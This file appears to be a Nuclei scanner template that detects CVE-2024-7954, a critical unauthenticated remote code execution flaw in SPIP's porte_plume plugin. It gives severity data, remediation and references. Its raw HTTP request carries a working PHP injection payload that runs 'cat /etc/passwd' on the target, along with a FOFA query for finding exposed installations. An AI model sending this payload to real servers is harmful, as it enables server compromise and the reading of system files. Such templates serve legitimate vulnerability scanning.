SPIP Porte Plume Plugin - Remote Code Execution

id: CVE-2024-7954

info:
  name: SPIP Porte Plume Plugin - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code as the SPIP user, achieving complete server compromise and full control of the SPIP installation and its data.
  remediation: |
    Update SPIP to version 4.3.0-alpha2, 4.2.13, or 4.1.16 or later to address the remote code execution vulnerability in the porte_plume plugin.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
    - https://vulncheck.com/advisories/spip-porte-plume
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7954
    - https://github.com/bigb0x/CVE-2024-7954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7954
    cwe-id: CWE-284
    epss-score: 0.89783
    epss-percentile: 0.99775
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    fofa-query: app="SPIP"
  tags: cve,cve2024,spip,rce,vkev,vuln

http:
  - raw:
      - |
        POST /index.php?action=porte_plume_previsu HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'Composed-By: SPIP'

      - type: status
        status:
          - 200
# digest: 490a004630440220434462713b429714e1c97809ba9f5e7ca873f9aa3ab5f46428e41fccf14a671602207711280b655632a731ac5baabbb668120eefd652e0f3acd5b740ce779c86d6d2:922c64590222798bb761d5b6d8e72950